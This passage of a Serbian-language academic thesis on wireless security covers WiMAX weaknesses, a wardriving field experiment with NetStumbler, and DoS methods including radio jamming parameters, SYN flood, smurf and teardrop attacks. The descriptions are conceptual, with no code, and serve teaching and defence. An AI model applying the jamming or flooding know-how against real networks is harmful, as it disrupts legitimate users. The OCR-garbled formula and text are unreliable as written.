ili upravljacke poruke sa ciljem da se odrzi privid o normalnom funkcionisanju mreze.
Delovi razmene podataka koji su usmereni ka jednoj korisni¢koj stanici mogu biti
skremblovani selektivno, prisiljavajuci ih na retransmisiju.

Drugi karakteristiCan napad na PHY nivo, takozvani napad vodenom torturom
(water torture attack), primorava korisni¢ku stanicu da isprazni svoje baterije ili da
nepotrebno koristi svoje raunarske resurse $aljuci joj lazne okvire sa podacima. Ova
vrsta napada, naroCito na mobilne stanice moze biti znatno destruktivnija od klasi¢nog
Denial-of-Service (DoS) napada na uredaje u zi¢noj mrezi zato §to prenosni uredaji
imaju ograni¢ene resurse za napajanje.

U ¢elijskom modu 802.16 je podlozan na napade ponavljanjem (replay) u okviru
kojeg napadac zlonamerno ponovo Salje ispravne okvire sa podacima koje je primio u
okviru relejnog prenosenja podataka, i tako dovodi mrezu u zagusenje.

Napadi na PHY nivo mogu biti predupredeni ili oslabljeni pomocu nekoliko
jednostavnih mera. Povecanjem izlazne snage signala moze se pruziti otpor na napad
ometanjem. Posebna oprema, odmah po detektovanju radio ometanja (pra¢enjem
nivoa signala) povecava snagu izlaznih signala do nivoa kada je delovanje
malicioznog signala anulirano. U skladu sa [19], Sirina opsega se moze povecéavati
koriste¢i tehnike modulacije kao $to je FHSS ili DSSS, ¢ime se smanjuje uticaj
napada ometanjem. Poseban sofisticirani mehanizam koji odbacuje falsifikovane
okvire sa podacima je potreban da bi spreCio praznjenja baterija ili prekomernu
upotrebu racunarskih resursa i tako anulirao napad vodenom torturom. Novija verzija
802.16 standarda ima podrSku za mobilnu komunikaciju sa korisnickom stanicim. To
napada¢ viSe ne mora da deluje sa jedne pozicije pa nadgledanje anomalija postaje
znatno otezano. lako je nameran napad skremblovanjem znatno kompleksniji od
napada ometanjem, moguénost da se skremblovanje izvodi je uslovljena prekidanjem
prirodnim Sumom $to odreduje periode kada je napad mogué. Ovi napadi se mogu
uociti pra¢enjem odstupanja performansi sistema od uobicajenih vrednosti.

Postoji nekoliko znacajnih nedostataka po pitanju bezbednosti koji su
implementirani u MAC niovou 802.16 standarda. Da bi kona¢no uspostavio bezbednu
konekciju za prenos podtaka, 802.16 koristi sekvencijalne dvostrane transakcije za
kontrolu, autorizaciju i autentikaciju. Prvi problem je Sto se tokom osnovne i primarne
konekcije, MAC upravljacke poruke Salju kao otvoreni tekst i nisu na odgovarajuci
nacin autentikovane. Na ovaj nacin, upravljacke poruke mogu biti presretnute u eteru i
izmenjene od strane napadaca (man in the middle attack). Na taj nacin se napadac
moze pripremiti za buduce napade. Drugi problem 802.16 je koriS¢enje X.509
sertifikata, standarda za PKI, koji definiSe putanju za validaciju sertifikata da bi se
identifikovala prava-validna korisnicka stanica. On koristi RSA kriptovanje sa SHA-1
hash funkcijom. Uglavnom je sertifikat korisnicke stanice unapred zadat od strane
proizvodaca opreme i kao stalna vrednost postoji u okviru opreme. To pruza
mogucnost za kradu i falsifikovanje sertifikata ako se oprema ne ¢uva na odgovarajuci
nacin. Dosta ozbiljnih pretnji po bezbednost proizilazi iz ovakve Seme autentikacije.
WIMAX podrzava jednostranu autentikaciju na nivou uredaja, kakva postoji i kod
WLAN mreza, a zasnovana je na filtriranju MAC adresa. Pretrazivanje MAC adresa i
njihovo poturanje ¢ine napad putem laznog predstavljanja sasvim mogucim. Takode
nedostatak obostrane autentikacije omogucava napad tipa ¢ovek u sredini sa lazne
bazne stanice. Takav napad nije jednostavno izvesti, zbog upotrebe TDMA modela za
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deljenje medijuma u WiMAX. Napada¢ mora da emituje u isto vreme kada i bazna
stanica umesto koje se predstavlja i to sa znatno ve¢om izlaznom snagom predajnika
kako bi ,,prekrio” njen signal. Nadalje, WiMAX podrzava obostranu autentikaciju u
mrezi na nivou korisnika zasnovanu na izvornom EAP. Podrzane su varijante EAP-
TLS (Transport layer security) na bazi X.509 sertifikata i EAP-SIM (Subscriber
identity module — SIM Kartica). Prisluskivanje upravljackih poruka je ozbiljna pretnja
za korisnike i glavna pretnja za sistem. Na primer, napada¢ moze iskoristiti tu slabost
da se uveri u prisutnost zrtve ne njenoj lokaciji pre nego Sto izvrSi napad. Takode se
moze iskoristiti od strane konkurencije za mapiranje mreze. Sledeca slabost je
kriptovanje zasnovano na data encryption standard (DES). 56 bita DES klju¢ se moze
probiti novijim sistemima za napad grubom silom. Pored toga DES sistem kriptovanja
ne ukljucuje funkcionalnost za zaStitu integriteta poruke i zaStitu od napada
ponavljanjem (replay attack) pa te slabosti omogucéavaju aktivni napad ili napad
ponavljanjem. AES mod kriptovanja je u prednosti u odnosu na DES. Prisluskuju se
najcesc¢e informacije koje se prenose, §to retko uzrokuje sistemske smetnje. Pretnje
laznim predstavljanjem kao bazna stanica ili korisni¢ka stanica su moguée kada su
prisutne slabosti u autentikaciji. Krada identiteta i lazna bazna stanica su tehnike
specificne za napad laznim predstavljanjem (masquerading). Krada identiteta je
ozbiljna pretnja za neautorizovane servise koje pruza WiMAX. Uredaj koji se lazno
predstavlja moze da koristi hardversku adresu drugog, registrovanog, uredaja do koje
se dolazi prijemom okvira sa upravljackim porukama iz etera. Kad to jednom uspe,
napada¢ moze da imitira legitimnu BS (baznu stanicu) sa laznom BS i tako zbuni njoj
pridruzene SS (pretplatnicke stanice). Te SS pokusavaju da dobiju WiMAX servise od
lazne BS, Sto dovodi do degradacije servisa ili potpunog prekida rada tih servisa. Za
poredenje se moze uzeti, WiFi mreza koja koristi CSMA (carier sense multiple
access), 1 to postaje jedna od najveéih bezbednosnih pretnji. Napada¢ moze lako da
uhvati identitet legitimne pristupne tacke tako Sto slusa CSMA proces koji sam
otkriva informacije o identitetu AP. Napada¢ moze da napravi maliciozne poruke
koriste¢i identitet legitimne AP, a zatim ¢ekajuci da medijum bude slobodan, moze da
ih distribuira. To je jo§ jedna moguénost za DoS napad, zato Sto operacije
autentikacije pokrecu procedure koje dugo traju. Efekti ovakvog napada se klasifikuju
kao srednje teSki po sistem zato Sto se radi o gubitku vremena, ali za korisnika ti
efekti mogu biti znatno ozbiljniji.

Moze se zakljuciti da WiMAX obezbeduje robusnu autentikaciju korisnika,
kontrolu pristupa, tajnost i integritet podataka, koriste¢i naprednu tehnologiju
autentikacije i kriptovanja. WiMAX ima napredan skup bezbednosnih protokola
implementiranih na dobar nacin kao i mehanizam za alokaciju propusnog opsega, Sto
ga ¢ini ozbiljnim kandidatom za aplikacije u poslovnoj primeni. Sa druge strane,
pokazuje se da u okviru WiMAX postoje propusti koji omogucavaju ometanje,
prisluskivanje kao i modifikaciju upravljackih poruka, lazno predstavljanje BS, i DoS
napade. To ukazuje na obiljnost sa kojm treba pristupati izradi svake sledece verzije
standarda 802.16, kako bi se izbegle greske koje su se javile u prehodnim verzijama
kao i u standardu 802.11.
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8. ,,Ratna voznja* (Wardrive)

8.1 Pojam ,,ratne voznje* (Wardrive)

Ratna voznja je prikupljanje statistiCkih podataka o bezicnim raCunarskim
mrezama u datoj geografskoj oblasti tako Sto se WLAN prijemnikom osluskuju
njihovi javno dostupni broadcast okviri. Bezi¢ne pristupne tacke (AP) objavljuju
svoje prisustvo prema zadatom intervalu (obicno 100 ms) Saljuéi u eter pakete
podataka koji sadrze njihove identifikatore servisa (SSID) i joS drugih podataka.
Softverski alat za ratnu voznju se pokrece na portabl racunaru ili na nekom od
prenosnih rac¢unara (laptop ili PDA). U toku ratne voznje, krecete se u automobilu dok
pokrenuti softver prikuplja podatke koje emituju obliznje pristupne tacke (AP).
Vecina softverskih alata namenjenih za ratnu voznju ima moguénost dodavanja
informacija u log fajl o trenutnoj poziciji koje preuzima sa GPS-a. To omogucava da
se pozicija uocenih pristupnih tacaka sacuva i nacrta u obliku elektronskih mapa
softverom kakav je npr. Microsoft MapPoint.

Softverski alat koji se dosta koristi za wardrive je Netvork Stumbler
(neformalno, NetStumbler). Ovim alatom se prikuplaju samo oni podaci koje je
pristupna tacka ucinila javno dostupnim. Nema mehanizma za snifovanje paketa,
reverzni inzenjering Sifara ili za prikljucivanje na nezasticenu mrezu. Netstumblerom
se postuju ograni¢enja vlasnika mreze, ako je onemoguéen AP beacon broadcast
mreza nece biti detektovana. Netstumbler se koristi uglavnom za 1) wardriving, 2)
otkrivanje laznih pristupnih ta¢aka u velikim mrezama sa mnogo korisnika 3) direktno
merenje pokrivenosti radio polja neke pristupne tacke. Za ovaj alat je neophodno da
bezi¢ni mrezni adapter ima podrSku, §to prvo proveravamo pri instalaciji
NetStumblera. Lista direktno podrzanih adaptera je u readme fajlu uz instalaciju
NetStumblera a moze se naéi i na internetu. Postoji dosta slicnih adaptera koji nisu
direktno podrzani, ali ¢esto mogu da rade sa dostupnim drajverima.

Wardriving kako ga mi sada poznajemo je prvi put razvijen i koris¢en od
strane Pete Shipley u Aprilu 2001 god. Pre toga je bilo osluskivanja beacon paketa sa
pristupnih tacaka (AP) i o tome su pravljene beleske (Cesto na papiru). Pete je prvi
automatizovao taj proces prikupljanja podataka softverom napravljenim za tu namenu,
i takode je prvi integrisao podatke sa GPS-a sa bazom podataka o detektovanim AP.

Postavlja se pitanje legalnosti ratne voznje. Ima misljenja da je ona sama po
sebi nelegalna. Ono Sto je u sustini nelegalno je konektovanje i korisé¢enje mreze bez
dozvole vlasnika te mreze (Sto se naziva upadom u mrezu). DeSava se da ratna voznja
bude pomenuta u novinskim natpisima u negativhom kontestu. To je onda kada
krekeri koriste alate za ratnu voznju kako bi locirali mreze u koje kasnije upadaju.
Ova materija je u pravnom smislu joS uvek nova, pa oblast ra¢unarskih mreza joS
uvek nije dovoljno precizno obradena. Da bi se u primeni ratne voznje zadrzali u
okviru zakona vazno je da poStujemo pozitivnu pravnu regulativu koja je trenutno na
snazi. Drugim reCima, 1) ne istrazivati sadrzaj mreze, 2) ne dodavati, brisati, ili
menjati bilo Sta na mrezi i 3) nikada ne Koristiti mreznu Internet konekciju za
surfovanje na web-u, razmenu e-maila, chat, FTP ili bilo Sta drugo. Posto je javna
percepcija o pitnju legalnosti ratne voznje izuzetno vazna, medijima koji o tome
izvestavaju kad god je moguée treba ukazati na razliku izmedu legalne primene
softverskih alata za ratnu voznju i njihove zloupotrebe od strane krekera.

Voznja automobilom tokom wardrivinga treba da bude Sto sporija, idealno bi
bilo oko 50-60 km/h, poSto Stumbler programima treba vremena da uoce stanice i
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naprave zapis o tome u log fajl. Ako se kre¢emo prebrzo dosta stanica koje treba
detektovati nece biti dovoljno dugo u dometu.

Detektovanje onih koji obavljaju ratnu voznju, kao nacin da se §titi bezicna
mreza se moze u principu obavljati na dva nacina. Prvi metod je efikasan za
detektovanje korisnika NetStumblera, dok drugi metod detektuje NetStumbler,
MiniStumbler i MacStumbler. Nijedan od ovih metoda ne detektuje Kismet, zato Sto
je on pasivni skener. Oba metoda zahtevaju racunar sa bezicnim mreznim adapterom i
na njemu pokrenut Kismet koji radi neprekidno. Taj racunar nije prijavljen na bezi¢nu
mrezu, i neprekidno je na prijemu.

Metod 1: Osluskivanje paketa koje emituje NetStumbler posSto detektuje neku
bezicnu mrezu. Ti paketi sadrZze karakteristike koje se mogu identifikovati pomocu
Kismet programa.

Metod 2: Znatno manje precizan metod za otkrivanje upada u mrezu je
jednostavno osluskivanje prekomernog emitovanja 802.11b zahteva za ispitivanje
mreze (probe request). Tako se ne mogu sa sigurnos$éu pozitivno identifikovati svi
napadi na mrezu, zato Sto i legitimni klijenti na mrezi emituju zahteve za ispitivanje
mreze. Ali ako se zna koji uredaji legitimno koriste mrezu, moze se zakljuciti koji
zahtevi za ispitivanje mreze poticu od potencijalnog napadaca tj. nelegitimnih
korisnika.

Zakljucak:

Ratna voznja je aktivnost koja se moze sprovoditi sa minimalnim sredstvima i
tehnickim znanjem. U toku te aktivnosti se prikupljaju podaci o imenu, lokaciji i
bezbednosnom podesenju pristupnih tacaka. Rezultati najéesce ukazuju da veliki broj
pristupnih tacaka nema nikakvu zastitu. Iako postojece zastite bezi¢nih mreza nisu
savrSene, treba ih koristiti kako bi vecina potencijalnih napadaca bila odvrac¢ena od
napada.
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Slika 8.2 Simboli koji u gradovima ukazuju na beZicne mreze

8.2 Eksperimenti i ,,ratna voznja“

U toku izrade ovog rada, za prakti¢nu realizaciju bezi¢ne mreze i ratnu voznju
koriS¢ena je sledeca oprema i softver:

1) Notebook: hp Compaq nc6320,
Intel PRO/Wireless 3945ABG
MAC adresa 00.18.DE.BE:D1:B7
OS Windows: XP SP2 i Knopix 3.4
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sw: NetStumbler ver.0.4.0 (Build 554)

2) Desktop PC: Dell Opti plex GXa 256 MB RAM,
Gigabyte AirCruser GN-WP01GS 802.11b/g,
OS Linux: Mandriva 10.0 i Windows XP SP2
3) Wireless Broadband Router W541R
4) GPS: Nokia N79, OS: Symbian serija 60 ver 3.

U cilju boljeg upoznavanja sa WLAN tehnologijom, u laboratorijskim
uslovima, na desktop PC racunaru je instaliran OS Linux i odgovarajuci softverski
alati. Notebook racunar pod OS Windows XP , kao i mobilni telefon Nokia N79, su
imali ulogu korisnika. Stim Sto su sa mobilnog telefona Nokia N79 uzimani i podaci o
lokacijama a na Notebook racunaru pod OS Knopix vrSeno je i prikuplanje paketa
podataka.

U terenskim uslovima sa Notebook ra¢unarom prikupljeni su podaci o
pristupnim tackama koje emituju svoj SSID i izvrSena su merenja jacine signala.
Vizuelnim osmatranjem mesta na kojima se nalaze antene za bezi¢nu mrezu lociran je
izvestan broj pristupnih tacaka. Na osnovu brzine prenosa podataka, vidi se da vec¢ina
pristupnih tacaka koristi opremu kompatibilnu sa standardom IEEE 802.11 a/b (Slika
8.1). Samo manji deo njih moZze da ostvari brzinu od 54 Mb/s. Neke pristupne tacke
za kriptovanje podataka koriste WEP. Na osnovu SSID lako je pretpostaviti kome
pristupna tacka pripada. Prikazani su podaci o MAC adresama svih pristupnih tacaka,
kao i 0 kanalu na kojem rade.
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Slika 8.2 Snimak podrudja na kojem je vrsena detekcija AP-a

9. Napadi na WLAN mrezu putem ometanja servisa

Kada autorizovani Kkorisnici ne dobiju zahtevani servis u okviru definisanog
maksimalnog vremena ¢ekanja, kaze se da je u toku Denial of Service (DoS) napad,
tj. napad u kome se vrsi otkaz svih servisa mreze ili sistema.

Infrastruktura medusobno spojenih sistema i mreza sastoji se od ograni¢enih resursa.
DoS napadi su napravljeni na na¢in da zauzmu dovoljno slobodnih resursa koje Zrtva
poseduje, kao Sto su bandwidth, CPU ili mesto za ¢uvanje podataka. Na taj nac¢in DoS
napadi uskra¢uju usluge legalnim korisnicima. Napadi mogu biti usmereni prema bilo
kojem mreznom uredaju ili bilo kojem drugom mreZznom resursu.

Rani DoS napadi koristili su jednostavne alate koji su generisali i slali pakete s jednog
izvora na jedno odrediSte. Tokom vremena, alati su unapredeni da izvode napade s
jednog izvora na viSe odrediSta, s viSe izvora na jedno odrediste ili s viSe izvora na
viSe odredista.

DoS napad ili napad sa uskrac¢ivanjem usluge je pokusaj da se resursi racunara ucine
nedostupnim ili nekorisnim za legalne korisnike. To je tip bezbednosnog propusta
racunarskih sistema koji nuzno ne rezultira kradom informacija ili bilo kojim drugim
materijalnim gubitkom.

DoS napadi imaju dve glavne forme. Jedna od njih je prisiljavanje ra¢unara zrtve da
zauzme svoje resurse tako da viSe ne moze pruzati potrebne usluge. Drugi nacin je
naru$avanje nac¢ina komunikacije izmedu legalnih korisnika i racunara Zrtve na nac¢in
da oni vise ne mogu komunicirati.

Iako najées¢e namerni i zlonamerni, DoS napadi mogu se dogoditi i sasvim slucajno.
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Ometanje bezi¢ne raunarske mreze se najcesce vrsi tako $to se emituje jak signal
prema prijemnoj anteni na istom opsegu, ili podopsegu, ucestanosti kao §to emituje i
predajnik u regularnoj komunikaciji. Bitno je napomenuti da ovo ometanje ne utie na
predajnik, ve¢ samo na prijemnik sa druge strane komunikacionog linka. Tu se javlja
problem za onoga ko vrSi ometanje, a sastoji se u tome da samo lokacija predajnika
moze da se otkrije, ali ne i lokacija prijemnika koji Zeli da se ometa. Lokacija
prijemnika mora biti poznata jer i ometa¢ ima kona¢nu izlaznu snagu signala.
Ometanje je uspesno kada ometacki signal dovoljno unisti korisnost komunikacionog
linka, odnosno kada koristan signal bude neupotrebljiv. U digitalnim komunikacijama
to se postize kada verovatnoca greSke prevazilazi dozvoljeni procenat, tj. kada
mehanizmi za otklanjanje greSaka postaju neefikasni. UspeSno ometanje podrazumeva
da je nivo snage ometackog signala jednak ili veci od nivoa snage korisnog signala na
prijemnoj strani. Efekat ometackog napada zavisi od odnosa jamming-to signal (J/S),
tipa modulacije, kodiranja kanala i interlivinga koji se primenjuje na sistemu koji se
ometa. Ako ometa¢ nema dovoljan nivo izlazne snage da emituje ometacki signal u
Sirokom opsegu kontinualno, onda se pribegava principu impulsnog ometanja punom
snagom. Prilikom impulsnog ometanja ometa se takode Siroki opseg frekvencija, ali
deo po deo (podopseg po podopseg) u kratkim vremenskim intervalima.
Jamming-to-signal odnos, ako se zanemare propagacijski efekti, moze da se izracuna
prema sledec¢em izrazu: [20]

2 9.1
_PjGerrthrLrBr ©-

J
> PthrGrt RerLij
gde su:

Pj - snaga ometackog predajnika

Pt - snaga komunikacionog predajnika

Gjr - dobitak antene — ometac - komunikacioni prijemnik

Grj - dobitak antene — komunikacioni prijemnik — ometac

Grt - dobitak antene — prijemnik — predajnik

Gtr - dobitak antene — predajnik — prijemnik

Br - Sirina opsega komunikacionog prijemnika

Bj - Sirina opsega ometackog predajnika

Rtr - rastojanje komunikacioni predajnik — prijemnik

Rjr - rastojanje ometacki predajnik — komunikacioni prijemnik
Lj - slabljenje ometackog signala

Lr - slabljenje komunikacionog signala

Prema izrazu (9.1) vidi se da ERP (Effective Radiated Power) ometaca, koje je
proizvod dobitka antene i izlazne snage, treba da je Sto veci ako se zeli §to efikasnije
ometanje. S druge strane, u cilju zaStite od ometanja, dobitak antene prema
komunikacionom partneru treba da je $to veéi, a prema ometacu $to manji. Prema
izrazu (9.1), model antene, odnos izmedu azimuta i dobitka, je vrlo bitan faktor
prilikom ometanja. Rastojanje izmedu predajnika i prijemnika ima veliki uticaj na
slabljenje signala. Ako se ometac nalazi na dva puta vecem rastojanju od prijemnika,
on mora da ima Cetiri puta ve¢i izlazni nivo da bi kod prijemnika imao isti nivo kao i
koristan signal. Veé¢ina digitalnih komunikacionih sistema zahtevaju da se i
sinhronizacioni signal prenosi izmedu uredaja koji komuniciraju. Ometa¢ moze da se
podesi da ometa taj sinhronizacioni signal i da na taj nain ometa kompletnu
komunikaciju. Sistemi sa sinhronizacijom su ina¢e vrlo osetljivi na ometanje jer se
sinhronizacija vrsi stalno po istom kanalu. Kada se jednom sinhronizacija izgubi, tada
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ometa¢ moze da prekine emitovanje, pa da ponovo pocne sa emitovanjem signala
kada se sinhronizacija ponovo uspostavi, mada je za ometaca vrlo teSko da prepozna
kada se to dogodilo. Klasi¢an ometacki signal predstavlja, u stvari, obi¢an signal
Suma u odredenom opsegu. Krajnji cilj je da se uCestanost ometackog signala Sto vise
priblizi ucestanosti komunikacionog signala, tj. da korisni komunikacioni signal utone
u interferencijski signal. Najbolje je za ometanje koristiti talasni oblik sli¢an signalu
koji se Zeli ometati.
IEEE 802.11 standard za WLAN definiSe dve tehnike prenosa u proSirenom spektru
(Spread-Spectrum — SS) u okviru radio-veza i tehniku za infracrveni (Infrared - IR)
prenos. U okviru tehnike proSirenog spektra moze da se koristi prenos sa
frekvencijskim skakanjem ili sa direktnom sekvencom (Frequency Hopping — FH i
Direct Sequence - DS). IR WLAN se ovde ne razmatra, ve¢ samo WLAN sistemi sa
radio prenosom. Radio-veze koriste ISM (Industrial, Scientific and Medical) opseg
ucestanosti 2.4 —2.4853 GHz. Ovaj frekvencijski opseg spada u ne licencirane opsege.
Ovo znaci da svako ima pravo da Kkoristi ovakvu opremu dok god se pridrzava
definisanih nivoa izlazne snage i frekvencijskog opsega. IEEE 802.11 standard koji
definiSe WLAN sisteme, propisuje izlaznu snagu za ovaj opseg u intervalu 1-100
mW. U WLAN sistemima frekvencijski opseg je podeljen na 79 kanala Sirine po 1
MHz. Predajnik i prijemnik se na pocetku svake konekcije dogovaraju oko sekvence
skakanja ako se radi o FHSS. Svaka konekcija sa mrezom vrsi se po drugoj sekvenci,
koje se definiSu tako da se otkloni mogu¢nost da dva korisnika istovremeno koriste
isti kanal. FHSS koristi 2FSK ili 4FSK (Frequency Shift Keying) modulaciju. FH
ogranicava transportni kapacitet u WLAN sistenima na 3 Mb/s zbog Sirine od 1MHz
svakog pojedinacnog kanala. Na signal se dodaje overhead koji se koristi za ARQ
proceduru, kojom se ispravljaju grSke nastale prilikom propagacije signala. Kod
uredaja koji koriste DSSS, frekvencijski opseg se deli na 3 kanala Sirine po 22 MHz.
Ovi kanali su medusobno razdvojeni sa po 5 MHz. Maksimalna brzina prenosa sa
DSSS je 11 Mb/s. Po IEEE 802.11b standardu, ovi uredaji koriste Barkerov kod
duzine 11 bita za kodovanje svih signala koji se emituju u etar. Svaka sekvenca od 11
bita pretvara se u simbol za prenos kroz slobodan prostor i predstavlja 1 bit korisnog
signala. Simboli se Salju brzinom 1 Mb/s. DSSS Koristi dva tipa modulacije (DBPSK i
DQPSK) u zavisnosti koliki se protok sistema zeli ostvariti. Za protoke 11 i 5.5 Mb/s
ne koristi se Barkerov kod duzine 11 bita, ve¢ se koristi metoda Complementary Code
Keying — CCK. CCK se sastoji od 64 kodne reci od po 8 bita, koje ¢ine jedan set
kodnih rec¢i. Svaki set ima jedinstvenu matemati¢ku karakteristiku, pomocu koje se
signal na prijemnoj strani izdvaja iz Suma. IEEE 820.11 koristi Dynamic Rate Shifting
- DRS koji omoguc¢ava automatsko podeSavanje protoka ukoliko dode do pogorsanja
uslova propagacije. To znaci da ¢e ometa¢ biti efikasan iskljuc¢ivo ako je u
mogucnosti da ometa komunikaciju i na protocima od 1 Mb/s. Prema standardu,
DSSS sistem koji koristi ISM frekvensijski opseg mora da ima minimalno 10 dB
procesno pojacanje. Treba napomenuti da je signal sa ve¢im protokom podlozniji
ometanju, interferenciji i izobli¢enjima koje unose filtri, od signala sa niZim
protocima zbog zahtevanog vec¢eg odnosa signal/Sum (Es/No). Tako da je procesno
pojacanje razlog zbog ¢ega su DS sistemi otporniji na ometanje.
Savremeno ometanje se takode koristi u pozitivne svrhe. U mirnim i tihim sredinama,
kao Sto su biblioteke ili koncertne sale, ometanje se koristi da mobilni telefoni ne bi
radili, da ne bi ometali ostale posetioce. U bolnicama, GSM i ostali sli¢ni digitalni
signali mogu da prouzrokuju smetnje u radu medicinskih instrumenata.

DoS napadi izvode se koris¢enjem alata koji Salju mnogo paketa ciljanom
serveru. Ti paketi preplave (engl. flood) resurse servera i na taj nacin server postaje
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nekoristan. Svaki sistem koji je spojen na Internet i koji je opremljen mreznim
uslugama zasnovanim na TCP (engl. Transmission Control Protocol) protokolu
potencijalna je zrtva napada.

DoS napadi mogu se podeliti na softverska iskoriS¢avanja i preplavljivanja. Napadi
preplavljivanjem se zasnivaju na jednom jednostavnom pravilu: onaj ko upravlja
najve¢im Sirinom opsega (engl. bandwidth) pobeduje. Napadi preplavljivanjem mogu
se podeliti na napade s jednog izvora, napade s viSe izvora ili napade sa refleksijom.

U napadima s jednim izvorom postoji jedan napada¢ koji preplavljuje zrtvu, dok u
napadima sa vise izvora postoji vise napadaca. U oba slu¢aja mogu se koristiti dodatni
,»Zombie” racunari. ,,Zombie” je racunar Koji je zarazen pomocu iskoris¢avanja neke
ranjivosti. Takav racunar sadrzi skriveni program koji omogucéava upravljanje
ratunarom sa daljine. Najcesce se koriste za izvodenje napada na neki drugi racunar.
Napadi s refleksijom su specijalni slu¢ajevi napada sa viSe izvora. Koriste se za
skrivanje identiteta pravog napadaca ili za pojacavanje napada. Reflektor je bilo koji
raCunar koji odgovara na zahteve. Bilo koji racunar moze se koristiti kao reflektor
dodavanjem IP adrese racunara zrtve u izvorno polje zahteva. Dodavanjem te
informacije racunar reflektor ¢e poslati odgovor zrtvi umesto napadacu. Ako postoji
mnogo racunara reflektora rezultat ¢e biti efikasan DoS napad.

Glavna razlika izmedu ,,zombie” racunara i racunara reflektora je ta Sto su reflektori
legalni serveri Internet usluga. Zbog toga je napade sa refleksijom jako teSko suzbiti.

Najcesée metode DoS napada su opisane u nastavku poglavlja.

SYN flood

SYN flood ili SYN preplavljivanje je metod DoS napada u kojoj napada¢ iskoris¢ava
malu veli¢inu bafera u toku rukovanja u tri koraka (engl. three way handshake). Ovaj
metod sprecava server da prihvati ulazne TCP veze. Normalno TCP rukovanje
prikazano je na Slici 9.1.

-
i SYN

K

©,

Slika 9.1 TCP rukovanje u normalnom slu¢aju

Ovaj metod napada je poznat ve¢ duze vreme i nije primenjiv na moderne mreze.
Napad je iskoristiv samo ako server zauzme sve resurse posto primi SYN poruku, ali
pre nego Sto je primio ACK poruku.

Postoje dva metoda izvodenja ovog napada. Oba metoda ukljucuju ne primanje ACK
poruke od strane servera. U prvom metodu zlonamerni klijent preskace slanje
poslednje ACK poruke. Drugi metod ukljucuje laziranje izvorisne IP adrese u SYN
poruci. Zbog toga Sto server Salje SYN-ACK poruku prema pogresnoj IP adresi
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nikada ne dobije ACK poruku. Veze koje nisu zavrSile rukovanje zovu se polu
otvorene veze. Preplavljivanje mreze takode moze biti uzrok nepostojece ACK
poruke. 1z tog razloga server ¢e neko vreme ¢ekati poruku koja nedostaje (Slika 9.2).
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Slika 9.2 SYN flood: nekoliko veza je polu otvoreno, server je preplavljen i
druge veze su onemogucéene

Ako polu otvorene veze koriste resurse na serveru, moguce je zauzeti Sve resurse na
serveru slanjem SYN poruka. Jednom kada se svi resursi zauzmu od strane polu
otvorenih veza, ni jedna nova veza (legalna ili ne) nije moguca.

Teardrop je tip DoS napada koji iskoriS¢ava nacin na koji IP protokol (engl.
Internet Protocol), deli na fragmente pakete koji su preveliki za router. U fragmente
paketa upisuje se udaljenost od pocetka prvog paketa, §to omogucuje ponovno
sastavljanje paketa na drugoj strani. U ovom napadu napadac postavlja zbunjujucu
vrednost udaljenosti u jedan od fragmenata (vecu od dozvoljene). Ako server koji
prima takav paket nema plan za takav slucaj rezultat ¢e biti pad sistema.

Distribuirani reflektuju¢i DoS napad ukljucuje slanje laznih zahteva velikom
broju racunara koji ¢e odgovoriti na zahtev. Koris¢enjem maskiranja IP adrese,
izvoriSna adresa se postavlja na adresu racunara zrtve. Zbog toga $to ¢e svi odgovori
oti¢i prema maskiranoj IP adresi racunar Zrtva ¢e biti preplavljen.

Dve glavne komponente smurf napada su koris¢enje laznih ICMP (engl.
Internet Control Message Protocol) echo zahteva i smer paketa prema IP broadcast
adresi.

U ovom metodu napada, napadac Salje IP ping zahtev. Ping paket odreduje da ¢e biti
poslat veéini servera unutar lokalne mreze primaoca. Paket takode pokazuje da zahtev
dolazi sa drugog izvora, racunara koje ¢e postati zrtva DoS napada. Rezultat ¢e biti
velika koli¢ina ping odgovora koji ¢e preplaviti zrtvu. Ako je preplavljivanje dovoljno
veliko, zrtva viSe ne¢e moc¢i da razlikuje pravi saobracaj od zlonamernog.

Napad zasnovan na ICMP echo zahtevima smatra se jednom vrstom reflektujuceg
napada, posto preplavljeni server Salje echo zahteve na broadcast adresu nepravilno
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konfigursanih mreza. Posledica toga je podsticanje velikog broja rac¢unara da Salju
echo odgovore Zrtvi. Raniji DDoS programi su implementirali distribuirani na¢in ove
vrste napada.

Fraggle napad je napad sli¢an smurf napadu. Umjesto ICMP-a koristi UDP
(engl. User Datagram Protocol).

Racunarski virusi takode mogu biti metod DoS napada. Zrtva u ovom slucaju
nije unapred izabrana, nego je to najceS¢e raCunar Koji je slucajno dobio virus.
Zavisno od virusa, DoS napad moze biti jedva primetan ili katastrofalan.

Land napad je DoS napad Kkoji se sastoji od slanja posebnih zarazenih paketa
raCunaru. Posledica primanja tih paketa je zakljuCavanje ra¢unara. Napad ukljucuje
slanje maskiranin TCP SYN paketa sa odrediSnom IP adresom i open portom kao
izvoriSnom i odredisnom adresom. Ovaj metod napada je efikasan zato S$to racunar
odgovara samom sebi beskonaéno.

SQL ubacivanje je ranjivost sistema koja se dogada kada aplikacija ne filtrira
korisni¢ke podatke na dobar nacin, pre nego Sto ih poSalje sistemu za upravljanje
bazama podataka (engl. Data Base Management System). Korisnik-napada¢ ubacuje
zlonameran kod u aplikaciju koja koristi SQL naredbe. Ako aplikacija korisnikov
unos ne filtrira na dobar nacin, zlonamerni kod u vidu SQL naredbe se Salje sistemu
za upravljanje bazama podataka i izvodi napad.

Distribuirani DoS napadi (DDoS) dogadaju se kada viSe zarazenih sistema
preplavljuje propusni opseg ili resurse sistema zrtve.
Ako napadac¢ izvodi smurf napad sa jednog izvora, takav napad ¢e biti prepoznat kao
DoS napad. Bilo koji napad na dostupnost podataka ¢e biti prepoznat kao DoS napad.
Ako napadac koristi hiljade ,,zombie™ sistema da istovremeno izvedu smurf napad,
napad ¢e biti prepoznat kao DDoS napad.

Napadi izgladnjivanjem resursa pokuSavaju zauzeti sve resurse na rac¢unaru
zrtvi. Na taj nacin ti resursi postaju nedostupni legalnim korisnicima. Postoje tri
na¢ina ovog napada.

CPU izgladnjivanje je specificno za aplikacije. Jedan paket poslan od
napadaca rezultuje slanjem vise paketa prema zrtvi.

Izgladnjivanje memorije se oslanja na operacioni sistem ili aplikaciju.

Izgladnjivanje diska javlja se kada je na primer veza zbog razmene podataka
ostala otvorena ili ako je pronaden FTP server na kojem je dozvoljeno pisanje. Jedan
od najpoznatijih napada ovog tipa je bombardovanje e-mailovima. To se postize
slanjem velikog broja e-mail poruka korisniku, Sto dovodi do popunjavanja e-mail
inboxa.

Poplavljivanje na aplikativnom nivou je jos jedan vid napada. Ranjivosti zbog
popunjavanje bafera nastaju zbog programskih gresaka. To su ujedno i najcesce
